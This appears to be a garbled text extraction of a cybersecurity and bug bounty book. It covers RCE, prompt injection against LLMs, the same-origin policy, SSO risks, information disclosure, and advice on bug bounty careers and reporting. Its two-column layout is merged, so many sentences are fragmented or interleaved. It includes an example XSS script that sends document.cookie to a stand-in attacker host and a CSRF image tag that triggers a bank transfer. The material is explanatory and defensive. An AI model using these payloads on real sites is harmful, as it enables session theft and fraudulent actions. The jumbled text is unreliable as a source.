risk, but clever attackers are always looking for ways to 2. Use whitelists to allow only specific paths and characters.
bypass them. This chapter explores common evasion techni-
ques and how defenders can strengthen their systems. Input Sanitization:
1. Remove or replace special characters that can be used
Common Evasion Techniques for directory hopping.
ECUT I O N( R C E ) # 2. 1 4
What is RCE, or remote code execution?
It is considered a particular type of arbitrary code exec The creation of RCE dates back to the early years of
ution (ACE), which refers to the ability of an attacker to ex networked computing, when software flaws served as entry
ecute any command on a target system or within a target points for illegal remote system interactions.
process. RCE is distinguished by allowing it to be executed
remotely, giving attackers complete control and access to RCE attacks became increasingly common as digital infras
a compromised system from any location. tructure became more complex and connected. As a result,
hackers and state-sponsored actors began to target these
Updating software is essential as many attacks exploit vu vulnerabilities in order to use them for a variety of nefa
lnerabilities that have been previously patched. rious purposes.
The technological mechanism of RCE involves exploiting It is impossible to overstate the importance of CER in today's
weaknesses in server-side programs or applications. These digital age. The increasing reliance on digital platforms and
vulnerabilities can be due to many flaws, such as incorrect services has increased the potential impact of RCE atta
input validation, unsecured deserialization or buffer cks, creating risks to the operational continuity of key infras
overruns. tructures and services, as well as data security.
The vulnerable application can be tricked by attackers to Attackers can take control of systems, steal sensitive infor
execute malicious code as their own by sending specially mation, use ransomware or even disrupt services if they
crafted requests or data to it. Attackers can gain unauth have the ability to execute arbitrary code remotely.
orized access to system resources, data and capabilities These actions can have a significant negative impact on an
through this exploitation procedure, which goes beyond organization's finances and reputation.
security protections.
Current statistics and trends show how things are beco
RCE attacks have the potential to cause malware prolifera ming increasingly dangerous.
tion, data breaches and unauthorized system control.
Well-known vulnerabilities affecting millions of devices and
The development and current importance of RCE systems worldwide, such as the Log4Shell vulnerability
(CVE-2021-44228) in the Apache Log4j logging library,
Over time, remote code execution (RCE) attacks have chan have demonstrated the wide potential for exploitation.
ged from being simple opportunities for hackers to
exploit weaknesses in systems and systems to being Due to the sheer ease of exploitation of the vulnerability
By inserting malicious hints or directives into LLM inputs, - Attacks can target both AI models and conventional sys
adversaries can manipulate these models to perform illicit tems, so new security measures with an AI-specific focus
actions or disclose sensitive information. These types of are needed.
attacks take advantage of the complexity and adaptability
of LLMs, which are made to handle huge volumes of data and - Mitigation that is proactive is essential: This covers multi
provide outputs in response to user inputs. Inadvertent -layered security, robust validation of inputs and routine
and potentially dangerous effects, such as data breaches, remediation.
illegal system access, or the spread of malware through
AI-driven platforms, could result from manipulation of these - AI is both a target and a protection mechanism. Attempt
inputs. to protect AI implementation tools, models and procedures.
Understanding the Anatomy of the Attack - Input Validation: Implement input validation mechanisms
to prevent malicious code injection.
To understand the magnitude of this threat, it is crucial to
unravel the anatomy of a remote code execution bypass - Access Control: Implement strict access controls to limit
attack. In essence, this attack is based on exploiting vulne user privileges and prevent unauthorized access.
rabilities in software or system configurations. These vulne - Security Monitoring: Implement security monitoring sys
rabilities can range from programming errors to incorrect tems to detect and respond to possible attacks.
access permission settings.
Devastating Consequences
<script>
The Same-Origin Policy (SOP) is a crucial security mecha- var cookies = document.cookie;
nism in web browsers. It acts as a security guard, preventing // Send cookies to a server controlled by the attacker.
scripts from one source (a combination of protocol, domain and new Image().src = 'https://atacante.com/robar?cookies='
port) from accessing data from another source. Imagine that + cookies;
every website is a house; the SOP ensures that your neighbors </script>
can't break in and steal your stuff.
2. Cross-Site Request Forgery (CSRF): An attacker tricks
However, like any security system, SOP is not foolproof. a user's browser into sending a malicious request to a web-
Vulnerabilities in the SOP can allow malicious attackers to breach site where the user is logged in. This can result in unauthorized
these barriers, accessing sensitive information or performing actions, such as changing the email address or making a purchase.
unauthorized actions on the user's behalf.
Example:
Why is Same-Origin Policy important? HTML
The SOP is critical to protecting users' privacy and security <img src="https://banco.com/transferir?destinatario=ata-
on the web. Without it, a malicious website could: cante&cantidad=1000" />
- Steal your cookies: Cookies store session information, JSONP (JSON with Padding): JSONP allows a website to
such as login credentials. An attacker could use them to imper- request data from another source. If not implemented correctly,
sonate you. an attacker can use JSONP to gain access to sensitive data.
- Read your private data: They could access personal infor- Example:
mation on other websites, such as your browsing history or pri- JavaScript
vate messages.
function handleResponse(data) {
- Perform actions on your behalf: An attacker could send // Attacker can access the data here
messages, make purchases or change your settings without console.log(data);
your consent. }
SSO is an authentication mechanism that allows users to - Token Reinjection Attack: An attacker intercepts a valid
access multiple applications and websites with a single login. SSO session token and reinjects it into his own browser. This
Instead of having to remember different usernames and pas- allows him to impersonate the legitimate user and access your
swords for each service, users only need to remember one set accounts without needing to know your credentials.
of credentials to access all of them.
- Brute Force Attack against the IdP: An attacker uses a pro-
This convenience has made SSO very popular with both gram to try thousands of username and password combinations
users and enterprises. For users, it means fewer passwords to until he finds one that works. If the IdP does not have adequate
remember and a smoother user experience. For enterprises, SSO protection measures, such as locking accounts after several fai-
can reduce support costs and improve employee productivity. led attempts, the attacker could gain access to users' accounts.
Despite its advantages, SSO also presents significant To protect against SSO security risks, it is crucial to imple-
security risks: ment the following security measures:
1. Single Point of Failure: If a user's SSO credentials are - Two-Factor Authentication (2FA): Requires users to pro-
compromised, an attacker could gain access to all applications vide a second factor of authentication, such as a code sent to
and services linked to that account. This can have devastating their cell phone, in addition to their password.
consequences, especially if business-critical applications or appli-
cations containing sensitive data are involved. - Secure Session Management: Implements security mea-
sures to protect SSO sessions, such as short session timeouts
2. Phishing Attacks: Attackers can use phishing techniques and session token regeneration after each login.
to trick users into revealing their SSO credentials. Once they have
the credentials, they can access all linked accounts. - Monitoring and Anomaly Detection: Use monitoring tools
to detect suspicious activity, such as failed login attempts or
3. Vulnerabilities in the Identity Provider (IdP): The IdP is the access from unusual locations.
service that manages SSO credentials and verifies the identity
of users. If the IdP has vulnerabilities, an attacker could exploit - Security Patching: Keep IdP software and linked
D I SCLOSU R E # 2. 1 7 ---------
Error connecting to database: Access denied for user
'root' on 'localhost' (using password: YES).
Imagine you are playing poker and you accidentally show ---------
your cards to the other players. In the digital world, Information
Disclosure is like showing your cards: it reveals sensitive data 2. Disclosure of Configuration Files: Configuration files
that should remain hidden, giving attackers an unfair advantage. often contain sensitive information, such as database passwords,
API keys, or service account credentials. If these files are not pro-
Information disclosure is a vulnerability that occurs when a perly protected, attackers can access them and use the informa-
web application inadvertently discloses sensitive data to unau- tion to compromise the application.
thorized users. This data can include technical information about
the application, configuration data, detailed error messages or 3. Disclosure of Debugging Information: Debugging tools
even user data. can reveal detailed information about the inner workings of an
application, such as variable values, stack traces, and event logs.
Why is Information Disclosure Dangerous? If these tools are not disabled in production, attackers can use
them to obtain valuable information.
Although often considered a low-risk vulnerability, infor-
mation disclosure can have serious consequences: 4. Metadata Disclosure: Metadata is data about data, such
as software version, operating system or HTTP headers. Attackers
- Reconnaissance: Attackers can use the disclosed informa- can use this information to identify known vulnerabilities in the
tion to learn more about the application and its vulnerabilities, software or to create targeted attacks.
facilitating future attacks.
How to Prevent Information Disclosure
- Privilege Escalation: Disclosed information can help atta-
ckers gain access to restricted areas of the application or ele- To protect your application from information disclosure,
vate their privileges. follow these best practices:
- Targeted Attacks: Attackers can use the disclosed infor- - Generic Error Messages: In production, display generic
mation to launch more targeted and effective attacks. error messages that do not reveal internal application details.
- Reputation Damage: Disclosure of confidential informa- - Protect Configuration Files: Store configuration files out-
tion can damage a company's reputation and erode the trust of side of the web root folder and ensure that they are protected
its customers. with appropriate permissions.
Common Types of Information Disclosure - Disabling Debugging Tools: Disable all debugging tools
in production to prevent attackers from accessing sensitive
Detailed Error Messages: When an application encoun- information.
ters an error, it sometimes displays error messages that reveal
internal application details, such as file paths, variable names or - Metadata Removal: Removes unnecessary metadata from
SQL queries. Attackers can use this information to identify and files and HTTP headers to reduce the attack surface.
exploit vulnerabilities.
Information disclosure may seem like a minor vulnerability,
Endnotes
BEYOND TECHNIC
3
HOW LOGGING
ON TO A WEB
CAN CHANGE
YOUR LIFE
- Bugcrowd
- Intigriti
- YesWeHack
Not all bug bounty programs are the same. Some focus on
web applications, while others focus on desktop software
or mobile devices. Some offer higher rewards, but they can
also be more competitive.
- The Reward: How much does the company pay for each
vulnerability found? Is there a maximum reward limit?
Once you are familiar with the rules, you can start looking
for vulnerabilities. Use the tools and techniques we have
seen in previous chapters, such as vulnerability scanners,
fuzzing, and manual code analysis.
M Y A D V IC ES
HackerOne: your gateway to the world of bug bounty. You
will learn how to register, find programs, report vulnerabili
ties and earn money. Santiago advises you to start with
small programs, be patient, ethical and responsible.
- Master the Fundamentals: Start by acquiring a solid unders- - Diversify your income: In addition to bug bounty, consi-
tanding of cybersecurity fundamentals, such as networks, ope- der other sources of income such as security consulting, training,
rating systems, programming languages and web protocols. security tool development or content creation.
- Specialize in Key Areas: Explore different areas of cyberse- Santiago's Tips on How to Turn Your Passion for Security into
curity, such as penetration testing, vulnerability analysis, reverse a Successful Career:
engineering and web application security, to identify your areas
of interest and specialization. - Be Curious and Persistent: Curiosity and persistence are
essential to succeed in the bug bounty world. Never stop lear-
- Stay current: Cybersecurity is a constantly evolving field. ning and exploring new areas of security.
Spend time learning new techniques, tools and trends through
online courses, conferences, blogs and security communities. - Be Ethical and Responsible: Always act with integrity
and ethics. Report vulnerabilities responsibly and avoid causing
- Practice Consistently: Practice is key to honing your skills. unnecessary damage.
Participate in ethical hacking platforms such as Hack The Box,
TryHackMe and PortSwigger Web Security Academy to test your - Be Collaborative and Share your Knowledge: Collaborate
knowledge in secure and controlled environments. with other researchers, share your knowledge and learn from
others. The security community is a valuable resource for your
2. Build your Reputation: professional growth.
- Participate in Bug Bounty Programs: Start by participating - Be Patient and Perseverant: Building a successful bug
in public and private bug bounty programs. Report your findings bounty career takes time and effort. Don't be discouraged by
in a responsible and professional manner, following the disclo- obstacles and keep working hard to achieve your goals.
sure guidelines of each program.
Building a career in bug bounty requires dedication, pas-
- Share your Knowledge: Write detailed reports on the sion and a constant commitment to learning and improvement.
vulnerabilities you discover, create educational content (blogs, By following these tips and developing your skills, you can turn
videos, tutorials) and participate in online communities to share your passion for security into a rewarding career and contribute
your knowledge and experiences. to a safer digital world.
The cybersecurity landscape is constantly evolving, and with - The Rise of Specialization: As the threat landscape beco-
it, the world of bug bounty programs. This episode will explore mes more complex, security researchers are specializing in spe-
the emerging trends that are shaping the future of this growing cific areas, such as mobile application security, cloud security, or
industry, as well as insights from Santiago Lopez, a renowned IoT device security. This specialization allows for deeper analysis
security expert and bounty hunter, on the challenges and oppor- and identification of more sophisticated vulnerabilities.
tunities ahead.
- The Importance of Ethics: Ethics and responsibility are
Emerging Trends in Bug Bounty fundamental in the world of bug bounty. Researchers must act
with integrity, respect the privacy of users and work collabo-
1. Automation and Machine Learning: Artificial intelligence ratively with companies to ensure that vulnerabilities are pro-
and machine learning are transforming the way vulnerabilities perly addressed.
are discovered and reported. Automated tools can scan large
amounts of code for patterns and anomalies, speeding up the - The Role of the Community: The security research com-
process of identifying vulnerabilities. However, the human touch munity plays a crucial role in the evolution of bug bounty pro-
is still essential to analyze and validate findings. grams. Collaboration, knowledge sharing and mutual support are
essential to the growth and success of this industry.
2. Focus on Supply Chain Security: As enterprises increa-
singly rely on third-party software and services, supply chain - The Challenge of Scale: As companies adopt bug bounty
security becomes critical. Bug bounty programs are expanding programs, the challenge lies in managing and scaling these pro-
their scope to include assessing the security of external suppliers grams effectively. Companies must establish clear processes,
and partners. invest in automation tools and foster a culture of security to
take full advantage of the benefits of bug bounty.
3. Bug Bounty in the Cloud: The widespread adoption of
cloud computing has created new attack vectors and potential - The Future of Rewards: Financial rewards will continue
vulnerabilities. Bug bounty programs are adapting to address to be an important incentive for researchers, but other forms of
cloud-specific risks, such as misconfiguration of services, data recognition will also be explored, such as prestige, the opportu-
exposure, and vulnerabilities in application programming inter- nity to collaborate with leading companies and access to exclu-
faces (APIs). sive resources.
LET'S GET TO
WORK
CHOOSING THE RIGHT PROGRAM IS LIKE FINDING
TREASURE: IT REQUIRES A LITTLE RESEARCH, INTUITION
AND A LITTLE COURAGE. NOT EVERY PROGRAM WILL LOOK
AMAZING TO YOU, SO LOOK FOR THE ONE THAT WILL MAKE
YOU THE MOST MONEY.
In the vast universe of Bug Bounty programs, choosing the - How much time can you dedicate - can you devote full
right one can be the difference between a rewarding experience time or just a few hours a week?
and a frustrating one. This chapter will guide you through the
key factors to consider when selecting a program, maximizing 2. Research Available Programs:
your chances of success and satisfaction.
- Bug Bounty Platforms: Explore platforms such as
1. Define your Objectives: HackerOne, Bugcrowd, Intigriti and YesWeHack. These plat-
forms offer a wide variety of programs from different companies
- What are you looking to achieve; do you want to earn and sectors.
money, gain experience, build your reputation, or contribute to
the security of a specific project? - Private Programs: Some companies have private programs
that are not listed on public platforms. Research companies that
- What are your skills: Are you an expert in web security, interest you and look for information about their Bug Bounty
- Scope: What assets are included in the program - websi- - Don't be discouraged: Finding vulnerabilities can be a
tes, mobile apps, APIs, cloud infrastructure? long and tedious process. Don't give up if you don't find any-
thing right away.
- Rules: What are the program rules? What types of vul-
nerabilities are eligible for rewards? Are there restrictions on - Learn from your mistakes: If your reports are rejected,
testing techniques? learn from your mistakes and improve your skills.
- Rewards: What kind of rewards are offered: cash, swag, - Collaborate with other researchers: Working in a team
reputation points, public recognition? What is the range of can be a great way to learn and improve your skills.
rewards for different types of vulnerabilities?
- Keep up to date: Cybersecurity is constantly evolving. Stay
- Communication: How does the company communicate up to date on the latest trends and techniques.
with researchers, is there a clear and transparent communication
channel, and do they respond quickly to vulnerability reports? Choosing the right Bug Bounty program is a crucial step in
building a successful career in this field. By following these tips,
- Reputation: What is the company's reputation in the Bug you can maximize your chances of success and contribute to a
Bounty community? Do they pay rewards on time? Do they more secure digital environment.
recognize the work of researchers?
4 .3 – ASSET S #4 .3
popularity. Companies such as Google, Mozilla and Microsoft
launched their own programs, offering increasingly generous
bounties for critical vulnerabilities.
In 2012, the HackerOne platform was founded, which revo- The types of assets you may encounter are as diverse as the
lutionized the industry by providing a centralized platform for vulnerabilities lurking in cyberspace. This chapter will immerse
companies to manage their bug bounty programs and security you in a tour of the different types of assets typically included in
researchers to find and report vulnerabilities. Other platforms these programs, broadening your horizons and revealing a range
such as Bugcrowd and Intigriti followed suit, creating a vibrant of possibilities for your skills as a security researcher.
ecosystem for the bug bounty community.
1. Web applications:
Industry Maturity: Recognition and Growth
Web applications are one of the most common targets in
Over the past decade, the bug bounty industry has experien- Bug Bounty programs. They range from simple informational
ced exponential growth. More and more companies are recog- websites to complex e-commerce and social networking pla-
nizing the value of bug bounty as an effective way to improve tforms. The most frequent vulnerabilities in this area include:
the security of their products and services.
- SQL Injection (SQLi): allows attackers to manipulate SQL
Bug bounty programs have expanded beyond software and queries to access sensitive data or modify the database.
now encompass a wide range of assets, from hardware and IoT - Cross-Site Scripting (XSS): Allows malicious code to be
devices to cloud infrastructure and industrial systems. Bounties injected into web pages and then executed in users' browsers.
have also increased significantly, with some companies offering - Cross-Site Request Forgery (CSRF): Forces authenticated
millions of dollars for critical vulnerabilities. users to perform unwanted actions in a web application.
- Authentication and Authorization Vulnerabilities: Allow
The Future of Bug Bounty: Challenges and Opportunities attackers to bypass access controls and obtain unauthorized
privileges.
As the bug bounty industry continues to evolve, new
challenges and opportunities arise. Automation and artificial 2. Mobile Applications:
intelligence are transforming the way vulnerabilities are discove-
red and reported, while the increasing complexity of systems and With the rise of mobile devices, mobile applications have
proliferation of connected devices pose new risks and challenges. become an attractive target for cybercriminals. Common vulne-
rabilities in this area include:
Collaboration between companies, security researchers
and governments will be essential to ensure that bug bounty - Code Injection: allowing attackers to execute malicious
programs remain effective and relevant in the future. Education code in the application.
- Vulnerabilities in Third-Party Components: Libraries - Vulnerable Firmware: Outdated or poorly designed fir-
or frameworks used in the application may contain known mware can contain vulnerabilities that allow attackers to take
vulnerabilities. control of the device.
What are Bug Bounty Platforms? - Efficient Reporting: The platforms' reporting system faci-
litates communication between researchers and companies,
Bug Bounty platforms are websites or applications that streamlining the vulnerability review and remediation process.
act as intermediaries between companies offering bug bounty
programs and security researchers looking to identify vulnera- - Secure and Timely Reward Payment: The platforms manage
bilities. These platforms provide a structured and secure envi- reward payments, ensuring that researchers receive fair and
ronment for collaboration, facilitating communication, reporting timely compensation for their findings.
and bounty payment.
- Learning and Collaboration Opportunities: The platforms'
Key Features of Bug Bounty Platforms. forums and communities provide a space to interact with other
researchers, share knowledge, and learn from the experiences
1. Program Listings: The platforms offer a comprehensive of others.
directory of Bug Bounty programs from various companies and
industries, allowing you to explore and choose those that align - Recognition and Reputation: Participating in Bug Bounty
with your interests and skills. programs across platforms allows you to build your reputation
2. Clear Guidelines and Rules: Each program has specific as a security researcher and gain recognition in the community.
rules about what assets are in scope, what types of vulnerabi-
lities are eligible for rewards and how they should be reported. Popular Bug Bounty Platforms
The platforms ensure that these rules are clear and accessible
to all participants. - HackerOne: One of the largest and most popular plat-
3. Reporting system: The platforms provide a standardized forms, with a wide variety of programs from leading techno-
system for submitting vulnerability reports, including technical logy companies.
details, proofs of concept and remediation recommendations. This - Bugcrowd: Another major platform with a large commu-
facilitates communication between researchers and companies. nity of researchers and an intuitive interface.
4. Reward Management: The platforms manage the pay- - Intigriti: A growing European platform with a focus on
ment of rewards to researchers, ensuring that they receive fair program quality and collaboration with researchers.
and timely compensation for their findings. - YesWeHack: A platform with a strong presence in Europe
5. Leaderboards and Statistics: Many platforms offer lea- and Asia, offering a wide range of security programs and services.
derboards that show the most successful researchers, as well as
statistics on reported programs and vulnerabilities. This encou- Tips for Getting the Most Out of Bug Bounty Platforms
rages healthy competition and recognition of researchers.
6. Forums and Communities: Platforms often have online - Research and Choose the Right Programs: Explore the
forums and communities where researchers can interact, program listings, read the rules and guidelines, and choose those
share knowledge, ask questions and collaborate on finding that align with your interests and skills.
vulnerabilities.
- Report Quality Vulnerabilities: Focus on finding signifi-
Benefits of Using Bug Bounty Platforms cant, high-impact vulnerabilities and write clear, detailed reports
that facilitate understanding and remediation by the business.
- Access to a Wide Range of Programs: The platforms allow
you to explore a wide variety of programs from different com- - Be Professional and Collaborative: Maintain respectful
panies and industries, expanding your opportunities to find vul- and constructive communication with companies, and collabo-
nerabilities and earn rewards. rate with them to address vulnerabilities efficiently.
- Clear Rules and Guidelines: The platforms ensure that - Participate in the Community: Join the platforms' forums
the rules of each program are clear and transparent, avoiding and communities to interact with other researchers, share
4. 5 – SC O P E , P AY M E N T S
significantly depending on the severity of the vulnerability, the
potential impact, and the company's reward policy.
- Read the rules and scope carefully: Make sure you unders-
tand the program rules and the scope of testing allowed.
G R AMS # 4 . 6 prise security teams allows you to work as a team and learn from
subject matter experts.
- Access to Exclusive Resources: In some cases, private pro-
grams offer researchers access to exclusive resources, such as tes-
Private programs represent a higher level of collaboration ting environments, internal documentation and specialized tools.
and trust between companies and security researchers. This chap- - Recognition and Prestige: Being invited to a private pro-
ter will immerse you in the world of private programs, exploring gram is recognition of your skills and experience, which can boost
their distinctive features, advantages and how to access them your career and open up new opportunities.
to take your Bug Bounty career to the next level.
How to Access Private Programs
What are Private Programs?
1. Build your Reputation: Actively participate in public pro-
Unlike public programs, which are open to any investigator, grams, report quality vulnerabilities, create educational content
private programs are exclusive invitations to a select group of and share your knowledge in the security community.
security experts. Companies carefully select investigators based 2. Make Connections: Attend security conferences, partici-
on their experience, reputation and specialized skills. pate in industry events, and connect with other security resear-
chers and practitioners.
Distinctive Features of Private Programs 3. Request Invitations: Some Bug Bounty platforms allow
you to request invitations to private programs. You can also con-
1. Limited Access: Only invited investigators can partici- tact the companies you are interested in directly and express
pate in private programs. This creates a more controlled and your interest in participating in their programs.
focused environment where companies can work closely with 4. Demonstrate your Skills: When you are invited to a pri-
trusted experts. vate program, be sure to demonstrate your skills and knowle-
2. Increased Scope and Flexibility: Private programs typi- dge by reporting high quality vulnerabilities and collaborating
cally have a broader scope than public programs, including cri- effectively with the company.
tical and sensitive assets that are not publicly exposed. In addi-
tion, companies can be more flexible in terms of the rules and Bug Bounty's private programs offer a unique opportunity
types of vulnerabilities they accept. for security researchers looking for bigger challenges, higher
3. Higher Rewards: Due to the critical nature of the assets rewards and closer collaboration with companies. By building
and the exclusivity of the programs, rewards in private programs your reputation, establishing connections and demonstrating
are often significantly higher than in public programs. your skills, you can open doors to this exclusive world and take
4. Direct Communication: Researchers in private programs your Bug Bounty career to the next level.
have direct access to corporate security teams, which facilitates
communication and collaboration on vulnerability resolution.
Also, consider your skills and areas of expertise: Are you an 4. Prioritize Programs that Align with Your Objectives
expert in web security, mobile applications, cloud infrastructure
or IoT devices? Do you prefer to look for specific vulnerabilities, Once you've evaluated several programs, it's time to prio-
such as SQL injection or XSS? ritize those that best align with your goals, skills, and time avai-
lability. Consider the following aspects:
Finally, evaluate how much time you can devote to bug
hunting - can you devote full time or just a few hours a week? - Alignment with your Interests and Skills: Choose programs
that focus on areas in which you have experience and expertise.
2. Research Available Programs This will allow you to leverage your strengths and maximize your
chances of success.
Once you've defined your goals and priorities, it's time to - Reward Potential: If your primary goal is to earn money,
research the Bug Bounty programs available. You can find pro- prioritize programs that offer attractive rewards and match your
grams on various platforms, such as HackerOne, Bugcrowd, expectations.
Intigriti and YesWeHack. These platforms offer a wide variety - Communication and Transparency: If you value open and
of programs from different companies and industries, allowing transparent communication, choose programs that have a good
you to explore and compare different options. track record of communicating with researchers and are clear
about their rules and processes.
In addition to platforms, you can also research private pro- - Reputation: If you are looking to build your reputation in
grams that are not publicly listed. Some companies have in-house the Bug Bounty community, choose programs from reputable
programs or work with private platforms to manage their Bug companies that recognize the work of researchers.
Bounty programs. You can find information about these programs
on company websites, on social media or through contacts in 5. Start Searching for Vulnerabilities
the security community.
Once you've chosen a program, it's time to start looking
3. Evaluate Programs in Detail for vulnerabilities. Read the program documentation carefully
to familiarize yourself with the rules, scope and rewards. Use
When evaluating Bug Bounty programs, it is important to appropriate tools and techniques to identify potential vulnera-
consider several key factors: bilities, and report your findings responsibly following the pro-
gram's guidelines.
- Scope (Scope): what assets are included in the program -
web apps, mobile apps, APIs, cloud infrastructure, IoT devices? Additional Tips:
Are there specific areas excluded from the scope?
- Rules: What are the program rules, what types of vulnera- - Don't Limit Yourself to a Single Program: Participate in
bilities are eligible for rewards, are there restrictions on allowable multiple programs to diversify your opportunities and learn from
testing techniques, what are the responsible disclosure policies? different companies and technologies.
- Payouts: What kind of rewards are offered: cash, swag, - Be Persistent and Patient: Finding vulnerabilities can take
reputation points, public recognition? What is the range of time and effort. Don't get discouraged if you don't find anything
rewards for different types of vulnerabilities? Is there a bonus right away.
program? - Learn from your Mistakes: If your reports are rejected,
- Communication: How does the company communicate learn from the feedback and improve your skills.
DETAILS THAT MAKE THE DIFFERENCE This section should provide a detailed technical explana-
LEARN FROM SANTIAGO tion of the vulnerability, including:
Attack scenarios: An attacker could exploit this vulne- - OWASP (Open Web Application Security Project): OWASP
rability by injecting malicious SQL code into application input offers detailed guidance and recommendations on how to pre-
parameters such as search fields or forms. For example, an atta- vent and mitigate a wide range of web vulnerabilities.
cker could inject an SQL query to extract all records from the - NIST (National Institute of Standards and Technology):
user table, or to modify a specific user's data. NIST provides security standards and guidelines for different
technologies and industries.
Proof of Concept: Attached is a Python script that - Security blogs and forums: Check out security blogs and
demonstrates how to exploit the SQL injection vulnerability to forums for the latest trends and expert-recommended solutions.
extract data from the database.
3. Consider the Application Context:
Tips:
Mitigations should be tailored to the specific context of the
- Be specific and realistic: Avoid generalizations and pro- affected application or system. Consider the following aspects:
vide concrete details on how the vulnerability could be exploi-
ted and what damage it could cause. - Technology: What programming language, framework or
- Prioritize the impact: Emphasize the most serious and platform is used?
relevant impacts to the business. - Architecture: What is the architecture of the application;
- Be professional and objective: Avoid alarmist or sensa- is it a web, mobile, desktop or cloud application?
tionalist language. - Security requirements: What are the specific security
Example Mitigation Recommendation: The first step in validating your report is to ensure that the
vulnerability is reproducible. Follow the steps you described in
Vulnerability: SQL injection in the search parameter. your report and check if you can consistently replicate the vul-
nerability. If you cannot reproduce it, you may have made a mis-
Root Cause: Lack of input validation and use of dyna- take in your analysis or the vulnerability may have been fixed
mic SQL queries. since you found it.
1. Input validation: Implement strict input validation on the Make sure the impact you described in your report is accu-
search parameter to allow only alphanumeric characters and a rate and realistic. Does the vulnerability actually allow the attacker
limited set of special characters. to perform the actions you mentioned? Is the potential impact as
2. Parameterized queries: Use parameterized queries or severe as you described? If necessary, perform additional tests
stored procedures to prevent injection of malicious SQL code. to confirm the actual impact of the vulnerability.
3. Escape special characters: If it is not possible to use para-
meterized queries, escape all special characters in the user input 3. Check the Root Cause:
before including them in the SQL query.
Check if you have correctly identified the root cause of
the vulnerability - is it a bug in the code, a misconfiguration, or
There are automated tools that can help you validate your Clear and professional communication is the foundation of
Bug Bounty reports. These tools can scan your report for com- any good relationship. When reporting vulnerabilities, be sure to:
mon errors, such as incomplete information, incorrect format-
ting or lack of proof of concept. - Be clear and concise: Describe the vulnerability accurately
and in detail, using appropriate technical language.
Anything else? - Avoid accusatory language: Don't blame or criticize the
development team. Instead, focus on the problem and how to
- Take your time: Don't rush to submit your report. Take the fix it.
time to carefully validate it and make sure it is as accurate and - Be respectful and collaborative: Show appreciation for
complete as possible. their work and offer your help in fixing the vulnerability.
- Be Honest and Transparent: If you find errors or incon- - Answer their questions: If the development team has ques-
sistencies in your report, don't try to hide them. Be transparent tions about your report, respond in a timely and thorough manner.
with the company and correct the errors before submitting the
final report. 3. Provide Detailed and Actionable Information:
- Learn from your Mistakes: If your report is rejected or recei-
ves negative comments, don't be discouraged. Learn from your To help the development team understand and fix the vul-
mistakes and use that experience to improve your future reports. nerability, provide the following information in your report:
4. Be Patient and Understanding: Vulnerability reports go through different states as they are
reviewed, assessed and fixed by companies. Understanding these
Fixing vulnerabilities can take time, especially if they are states is crucial for security researchers, as it allows them to track
complex or affect critical systems. Be patient and understan- the progress of their reports, understand companies' decisions,
ding with the development team, and avoid pressuring them or and manage their expectations for rewards and recognition. This
demanding quick fixes. chapter will walk you through the most common reporting statu-
ses on Bug Bounty platforms and provide valuable information
5. Offer your help: for interpreting and responding to each.
Additional Tips: In some cases, the triage team or development team may
need more information to understand or reproduce the vulne-
- Be Proactive: If you see that a vulnerability report has rability. If your report is in this status, respond to the company's
been open for a long time with no response, reach out to the questions in a timely manner and provide any additional infor-
development team to offer your help. mation they may need.
- Be constructive: If you have comments or suggestions
about the Bug Bounty program, share them constructively with 4. Resolved:
the company.
- Be a good ambassador: Represent the Bug Bounty com- This status indicates that the company has resolved the vul-
munity in a positive and professional manner. nerability. At this point, you may receive a reward and/or public
If your report does not meet the program requirements or if Understanding the different statuses of Bug Bounty reports
the reported vulnerability is not considered valid, the report may is essential to managing your expectations and communicating
be marked as "Not Applicable". This may happen if the vulnera- effectively with companies. By following best practices and uti-
bility is already known, if it is outside the scope of the program lizing this information, you will be better prepared to navigate
or if it does not represent a significant security risk. the Bug Bounty process and maximize your impact as a security
researcher.
6. Informative:
In some cases, reports that do not qualify for a reward may Dealing with Conflict
be marked as "Informative". This means that the information
provided in the report is valuable to the company, but does not Conflict can arise in a variety of situations, from disagree-
meet the criteria to receive a reward. ments over the severity of a vulnerability to misunderstandings
in communication with companies. This chapter will provide you
7. Duplicate: with strategies and tips for managing conflict effectively, while
maintaining professional and constructive relationships with
If another researcher has already reported the same vulne- companies and other researchers.
rability before you, your report may be marked as "Duplicate".
In this case, you will not receive a reward, but your report can 1. Remain Calm and Professional:
be used as additional evidence to confirm the existence of the
vulnerability. When conflict arises, it is crucial to remain calm and act in
a professional manner. Avoid emotional or impulsive responses,
8. Won't Fix: and focus on resolving the problem constructively. Remember
that the goal is to find a solution that benefits all parties involved.
On rare occasions, a company may decide not to fix a repor-
ted vulnerability. This may happen if the vulnerability is consi- 2. Communicate Clearly and Respectfully:
dered low risk, if the fix is too costly or complex, or if the vul-
nerability is present in a system that will soon be discontinued. Clear and respectful communication is critical to resolving
any conflict. Explain your point of view clearly and concisely,
9. Closed: using professional language and avoiding accusations or perso-
nal attacks. Listen carefully to the other party's perspective and
This status indicates that the life cycle of the report has try to understand their concerns.
ended. This can occur when the vulnerability has been resol-
ved, when the report has been marked as "Not Applicable", 3. Look for common ground:
"Duplicated" or "Will Not Be Remedied", or when an agreement
has been reached between the researcher and the company. Instead of focusing on differences, look for common ground
and areas of agreement. This can help build common ground and
Tips for Interpreting Report Statuses: make it easier to find a mutually acceptable solution.
- Be patient: The vulnerability review and remediation pro- 4. Be Flexible and Open to Compromise:
cess can take time. Don't despair if your report does not change
status immediately. In many cases, conflict can be resolved through compromise.
- Communicate proactively: If you have questions or con- Be willing to consider different perspectives and make conces-
cerns about the status of your report, don't hesitate to contact sions if necessary. Remember that the goal is to find a solution
the company. that works for everyone, not to win at all costs.
If the conflict arises on a Bug Bounty platform, use the Conflict is an inevitable part of any human interaction,
communication channels provided by the platform to resolve even in the world of Bug Bounty. By learning to manage conflict
the issue. Avoid taking the conflict to public forums or social effectively, you will be able to build stronger relationships with
networks, as this can worsen the situation and damage your companies, solve problems efficiently, and contribute to a more
reputation. positive and collaborative Bug Bounty environment.
Additional Tips: Many researchers jump into Bug Bounty programs without a
clear strategy, jumping from program to program without a defi-
- Document everything: Keep a record of all communica- ned focus. This can lead to dispersion of effort and lack of results.
tions and actions related to the conflict. This can be useful if you
need to present evidence or escalate the issue. - Solution: Define your objectives and priorities. Choose
- Learn from your experiences: Every conflict is a learning programs that align with your skills and interests, and develop a
opportunity. Reflect on what went well and what you could vulnerability hunting strategy that is tailored to each program.
have done differently to improve your conflict resolution skills.
- Maintain a Positive Attitude: Even in difficult situations, 3. Lack of Persistence and Patience:
maintain a positive and constructive attitude. This will help
4 .11 – W H AT T O DO
tion with other researchers are key to success in Bug Bounty. If
you do not communicate clearly and professionally, or if you are
unwilling to collaborate, your reports may be rejected or ignored.
